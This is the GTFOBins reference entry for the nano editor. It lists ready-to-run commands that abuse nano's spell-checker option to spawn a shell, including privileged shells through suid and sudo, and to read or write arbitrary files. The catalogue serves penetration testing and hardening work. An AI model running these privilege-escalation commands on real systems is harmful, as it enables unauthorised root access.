GTFOBins.github.io/_gtfobins/nano.md
2018-10-05 18:55:38 +01:00

557 B

functions
shell file-write file-read suid sudo
code
TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF nano -s $TF /etc/hosts ^T
code
nano file_to_write DATA ^O
code
nano file_to_read
code
TF=$(mktemp) echo 'exec sh -p' > $TF chmod +x $TF ./nano -s $TF /etc/hosts ^T
code
TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF sudo nano -s $TF /etc/hosts ^T